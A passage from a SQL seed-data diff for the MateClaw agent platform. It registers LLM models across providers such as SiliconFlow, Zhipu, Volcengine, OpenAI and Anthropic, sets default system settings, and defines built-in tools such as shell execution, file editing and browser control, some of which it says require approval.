0), +(1000000500, 'DeepSeek V3', 'siliconflow-cn', 'deepseek-ai/DeepSeek-V3', 'SiliconFlow CN — DeepSeek V3, strong general capability, free quota', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000501, 'DeepSeek R1', 'siliconflow-cn', 'deepseek-ai/DeepSeek-R1', 'SiliconFlow CN — DeepSeek R1 reasoning model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000502, 'Qwen3 235B A22B', 'siliconflow-cn', 'Qwen/Qwen3-235B-A22B', 'SiliconFlow CN — Qwen3 flagship MoE model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000503, 'Qwen3 30B A3B', 'siliconflow-cn', 'Qwen/Qwen3-30B-A3B', 'SiliconFlow CN — Qwen3 efficient MoE model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000504, 'GLM-4 9B Chat', 'siliconflow-cn', 'THUDM/glm-4-9b-chat', 'SiliconFlow CN — Zhipu GLM-4 9B, free tier', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000505, 'DeepSeek V3 Pro', 'siliconflow-cn', 'Pro/deepseek-ai/DeepSeek-V3', 'SiliconFlow CN Pro — DeepSeek V3 priority tier', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000506, 'DeepSeek R1 Pro', 'siliconflow-cn', 'Pro/deepseek-ai/DeepSeek-R1', 'SiliconFlow CN Pro — DeepSeek R1 priority tier', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000510, 'DeepSeek V3', 'siliconflow-intl', 'deepseek-ai/DeepSeek-V3', 'SiliconFlow INTL — DeepSeek V3', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000511, 'DeepSeek R1', 'siliconflow-intl', 'deepseek-ai/DeepSeek-R1', 'SiliconFlow INTL — DeepSeek R1 reasoning model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000512, 'Qwen3 235B A22B', 'siliconflow-intl', 'Qwen/Qwen3-235B-A22B', 'SiliconFlow INTL — Qwen3 flagship MoE model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000513, 'Qwen3 30B A3B', 'siliconflow-intl', 'Qwen/Qwen3-30B-A3B', 'SiliconFlow INTL — Qwen3 efficient MoE model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000514, 'GLM-4 9B Chat', 'siliconflow-intl', 'THUDM/glm-4-9b-chat', 'SiliconFlow INTL — Zhipu GLM-4 9B, free tier', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000515, 'DeepSeek V3 Pro', 'siliconflow-intl', 'Pro/deepseek-ai/DeepSeek-V3', 'SiliconFlow INTL Pro — DeepSeek V3 priority tier', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000516, 'DeepSeek R1 Pro', 'siliconflow-intl', 'Pro/deepseek-ai/DeepSeek-R1', 'SiliconFlow INTL Pro — DeepSeek R1 priority tier', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000520, 'Big Pickle', 'opencode', 'big-pickle', 'OpenCode free model — Big Pickle', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000521, 'Nemotron 3 Super Free', 'opencode', 'nemotron-3-super-free', 'OpenCode free model — Nemotron 3 Super', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000210, 'GLM-5-Turbo', 'zhipu-cn', 'glm-5-turbo', 'Fast inference model (recommended)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000211, 'GLM-5V-Turbo', 'zhipu-cn', 'glm-5v-turbo', 'Multimodal vision model (recommended)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000212, 'GLM-5', 'zhipu-cn', 'glm-5', 'Flagship model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000213, 'GLM-5.1', 'zhipu-cn', 'glm-5.1', 'Latest flagship model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000220, 'GLM-5-Turbo', 'zhipu-intl', 'glm-5-turbo', 'Fast inference model (International, recommended)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000221, 'GLM-5V-Turbo', 'zhipu-intl', 'glm-5v-turbo', 'Multimodal vision model (International, recommended)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000222, 'GLM-5', 'zhipu-intl', 'glm-5', 'Flagship model (International)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000223, 'GLM-5.1', 'zhipu-intl', 'glm-5.1', 'Latest flagship model (International)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000230, 'GLM-5 Coding', 'zhipu-cn-codingplan', 'glm-5', 'Zhipu Coding Plan — GLM-5 flagship', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000231, 'GLM-5.1 Coding', 'zhipu-cn-codingplan', 'glm-5.1', 'Zhipu Coding Plan — GLM-5.1 latest flagship', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000232, 'GLM-5-Turbo Coding', 'zhipu-cn-codingplan', 'glm-5-turbo', 'Zhipu Coding Plan — GLM-5 fast variant', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000233, 'GLM-4.7 Coding', 'zhipu-cn-codingplan', 'glm-4.7', 'Zhipu Coding Plan — GLM-4.7', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000234, 'GLM-5 Coding', 'zhipu-intl-codingplan', 'glm-5', 'Zhipu Coding Plan — GLM-5 flagship (International)', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000235, 'GLM-5.1 Coding', 'zhipu-intl-codingplan', 'glm-5.1', 'Zhipu Coding Plan — GLM-5.1 flagship (International)', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000236, 'GLM-5-Turbo Coding', 'zhipu-intl-codingplan', 'glm-5-turbo', 'Zhipu Coding Plan — GLM-5 fast (International)', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000237, 'GLM-4.7 Coding', 'zhipu-intl-codingplan', 'glm-4.7', 'Zhipu Coding Plan — GLM-4.7 (International)', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000310, 'Doubao Seed 1.8', 'volcengine', 'doubao-seed-1-8-251228', 'Doubao flagship multimodal model, text + image, 256K context', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000311, 'Doubao Seed Code Preview', 'volcengine', 'doubao-seed-code-preview-251028', 'Doubao code preview model, text + image, 256K context', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000312, 'Kimi K2.5', 'volcengine', 'kimi-k2-5-260127', 'Kimi K2.5 (hosted on Volcano Ark), text + image, 256K context', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000313, 'GLM 4.7', 'volcengine', 'glm-4-7-251222', 'GLM 4.7 (hosted on Volcano Ark), text + image, 200K context', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000314, 'DeepSeek V3.2', 'volcengine', 'deepseek-v3-2-251201', 'DeepSeek V3.2 (hosted on Volcano Ark), text + image, 128K context', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000320, 'Ark Coding Plan', 'volcengine-plan', 'ark-code-latest', 'Ark Coding Plan flagship model, 256K context', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000321, 'Doubao Seed Code', 'volcengine-plan', 'doubao-seed-code', 'Doubao code model, 256K context', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000322, 'Doubao Seed Code Preview', 'volcengine-plan', 'doubao-seed-code-preview-251028', 'Doubao code preview model, 256K context', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000323, 'GLM 4.7 Coding', 'volcengine-plan', 'glm-4.7', 'GLM 4.7 coding edition (hosted on Volcano Ark), 200K context', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000324, 'Kimi K2 Thinking', 'volcengine-plan', 'kimi-k2-thinking', 'Kimi K2 Thinking (hosted on Volcano Ark), 256K context', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000325, 'Kimi K2.5 Coding', 'volcengine-plan', 'kimi-k2.5', 'Kimi K2.5 coding edition (hosted on Volcano Ark), 256K context', 0.2, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000240, 'Kimi for Coding', 'kimi-code', 'kimi-for-coding', 'Kimi Code dedicated coding model', 0.2, 32768, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000250, 'GPT-5.4', 'openai-chatgpt', 'gpt-5.4', 'ChatGPT Plus/Pro member model (OAuth login)', NULL, 128000, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000251, 'GPT-5.4 Mini', 'openai-chatgpt', 'gpt-5.4-mini', 'ChatGPT member lightweight model', NULL, 128000, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- GPT-5.5 series (OpenAI / Azure / OpenRouter) +(1000000260, 'GPT-5.5', 'openai', 'gpt-5.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000261, 'GPT-5.5 Mini', 'openai', 'gpt-5.5-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000262, 'GPT-5.5 Nano', 'openai', 'gpt-5.5-nano', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000263, 'GPT-5.5', 'azure-openai', 'gpt-5.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000264, 'GPT-5.5 Mini', 'azure-openai', 'gpt-5.5-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000265, 'GPT-5.5', 'openrouter', 'openai/gpt-5.5', 'GPT-5.5 via OpenRouter', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- Claude 4.7 series (direct Anthropic + OpenRouter). +-- Note: Claude 4.7 forbids temperature/top_p/top_k — handled in AgentAnthropicChatModelBuilder. +(1000000270, 'Claude Opus 4.7', 'anthropic', 'claude-opus-4-7', 'Anthropic Claude Opus 4.7 (xhigh adaptive thinking)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- Anthropic only released Opus 4.7 — Sonnet stays at 4.6 until further notice. +(1000000271, 'Claude Sonnet 4.6', 'anthropic', 'claude-sonnet-4-6', 'Anthropic Claude Sonnet 4.6 (latest Sonnet — 4.7 not yet released)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000272, 'Claude Opus 4.7', 'openrouter', 'anthropic/claude-opus-4-7', 'Claude Opus 4.7 via OpenRouter', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000273, 'Claude Sonnet 4.6', 'openrouter', 'anthropic/claude-sonnet-4-6', 'Claude Sonnet 4.6 via OpenRouter', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- RFC-062: Claude 4.7 via Claude Code OAuth subscription (Pro/Max plan). +(1000000280, 'Claude Opus 4.7', 'anthropic-claude-code', 'claude-opus-4-7', 'Claude Opus 4.7 via Claude Code Pro/Max subscription', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000281, 'Claude Sonnet 4.6', 'anthropic-claude-code', 'claude-sonnet-4-6', 'Claude Sonnet 4.6 via Claude Code Pro/Max subscription', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- Claude 4.8 series (direct Anthropic + OpenRouter, including the -fast variant). +-- Shares 4.7's strict sampling contract (temperature/top_p/top_k must be NULL) +-- and the new xhigh thinking tier — handled in AnthropicChatModelBuilder. +(1000000290, 'Claude Opus 4.8', 'anthropic', 'claude-opus-4-8', 'Anthropic Claude Opus 4.8 (xhigh adaptive thinking)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000291, 'Claude Opus 4.8 Fast', 'anthropic', 'claude-opus-4-8-fast', 'Claude Opus 4.8 fast variant (higher output speed, 2x pricing)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000292, 'Claude Opus 4.8', 'openrouter', 'anthropic/claude-opus-4-8', 'Claude Opus 4.8 via OpenRouter', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000293, 'Claude Opus 4.8 Fast', 'openrouter', 'anthropic/claude-opus-4-8-fast', 'Claude Opus 4.8 fast variant via OpenRouter', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000294, 'Claude Opus 4.8', 'anthropic-claude-code', 'claude-opus-4-8', 'Claude Opus 4.8 via Claude Code Pro/Max subscription', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, enabled=EXCLUDED.enabled, is_default=EXCLUDED.is_default, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Default system settings +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000001, 'language', 'en-US', 'Current UI language', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000002, 'streamEnabled', 'true', 'Enable streaming response', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000003, 'debugMode', 'false', 'Enable debug mode', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000004, 'stateGraphEnabled', 'true', 'Enable StateGraph-based ReAct Agent', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +-- Search service configuration +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000005, 'searchEnabled', 'true', 'Enable web search', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000006, 'searchProvider', 'serper', 'Search provider', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000007, 'searchFallbackEnabled', 'false', 'Fallback to alternative provider on failure', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000008, 'serperApiKey', '', 'Serper API Key', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000009, 'serperBaseUrl', 'https://google.serper.dev/search', 'Serper base URL', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000010, 'tavilyApiKey', '', 'Tavily API Key', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000011, 'tavilyBaseUrl', 'https://api.tavily.com/search', 'Tavily base URL', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000012, 'duckduckgoEnabled', 'true', 'DuckDuckGo keyless search fallback (zero-config)', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +VALUES (1000000013, 'searxngBaseUrl', '', 'SearXNG instance base URL (auto-configured in Docker)', NOW(), NOW()) +ON CONFLICT (id) DO UPDATE SET setting_key=EXCLUDED.setting_key, setting_value=EXCLUDED.setting_value, description=EXCLUDED.description, update_time=EXCLUDED.update_time; + +-- Speech-to-text (STT) defaults — enabled out of the box so users only need to configure an API key. +-- Skip-if-exists keyed on setting_key (SELECT ... WHERE NOT EXISTS) so +-- we don't override a value the user explicitly set before this seed shipped, +-- and don't trip the UNIQUE index on setting_key when their row is at a +-- runtime-assigned id. V46 migration uses the same idiom. +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +SELECT 1000000020, 'sttEnabled', 'true', 'Enable speech-to-text (TalkMode mic input)', NOW(), NOW() +WHERE NOT EXISTS (SELECT 1 FROM mate_system_setting WHERE setting_key = 'sttEnabled'); + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +SELECT 1000000021, 'sttProvider', 'auto', 'STT provider: auto / openai / dashscope', NOW(), NOW() +WHERE NOT EXISTS (SELECT 1 FROM mate_system_setting WHERE setting_key = 'sttProvider'); + +INSERT INTO mate_system_setting (id, setting_key, setting_value, description, create_time, update_time) +SELECT 1000000022, 'sttFallbackEnabled', 'true', 'Try alternate STT provider when the primary fails', NOW(), NOW() +WHERE NOT EXISTS (SELECT 1 FROM mate_system_setting WHERE setting_key = 'sttFallbackEnabled'); + +-- Built-in tool: Date & Time +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000001, 'DateTimeTool', 'Date & Time', 'Get current date and time information', 'builtin', 'dateTimeTool', '🕐', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: Web Search +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000002, 'WebSearchTool', 'Web Search', 'Search the internet for real-time information', 'builtin', 'webSearchTool', '🔍', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: Shell Execute (enabled by default, dangerous ops controlled by ToolGuard) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000003, 'ShellExecuteTool', 'Shell Execute', 'Execute shell commands on the local server. Used for system commands, viewing files, running scripts. Dangerous operations trigger approval.', 'builtin', 'shellExecuteTool', '🖥', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: Read File +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000004, 'ReadFileTool', 'Read File', 'Read file contents with line range support and auto-truncation for large output.', 'builtin', 'readFileTool', '📖', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: Write File (enabled by default, dangerous ops controlled by ToolGuard) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000005, 'WriteFileTool', 'Write File', 'Write content to a file. Overwrites if exists, creates if not. Requires user approval.', 'builtin', 'writeFileTool', '📝', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: Edit File (enabled by default, dangerous ops controlled by ToolGuard) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000006, 'EditFileTool', 'Edit File', 'Edit file content via find-and-replace. Matches old_text exactly and replaces with new_text. Requires user approval.', 'builtin', 'editFileTool', '✏️', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: Skill File Reader (Skill Runtime Tool) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000007, 'SkillFileTool', 'Skill File Reader', 'Read files within skill packages (SKILL.md/references/scripts) and list skill file directory tree.', 'builtin', 'skillFileTool', '📖', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: Skill Script Runner (Skill Runtime Tool) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000008, 'SkillScriptTool', 'Skill Script Runner', 'Execute scripts in skill package scripts/ directory (Python/Bash/Node), strictly sandboxed.', 'builtin', 'skillScriptTool', '⚡', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: File Type Detector +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000009, 'FileTypeDetectorTool', 'File Type Detector', 'Detect file MIME type and category to help choose the appropriate reading tool.', 'builtin', 'fileTypeDetectorTool', '🔍', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: Document Extractor +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000010, 'DocumentExtractTool', 'Document Extractor', 'Extract text from PDF, Word, Excel, PowerPoint documents with fallback chain.', 'builtin', 'documentExtractTool', '📄', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: Workspace Memory +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000011, 'WorkspaceMemoryTool', 'Workspace Memory', 'Read/write workspace Markdown documents for persistent memory (PROFILE.md, MEMORY.md, etc.).', 'builtin', 'workspaceMemoryTool', '🧠', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: Browser Control (Playwright) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000012, 'BrowserUseTool', 'Browser Control', 'Launch and control browser for web automation: navigate, screenshot, click, type, execute JS.', 'builtin', 'browserUseTool', '🌐', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: MateClaw Docs +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000013, 'MateClawDocTool', 'MateClaw Docs', 'Read built-in MateClaw project documentation. action=list to list docs, action=read to read specific doc.', 'builtin', 'mateClawDocTool', '📚', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: Agent Delegation (Multi-Agent Collaboration) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000014, 'DelegateAgentTool', 'Agent Delegation', 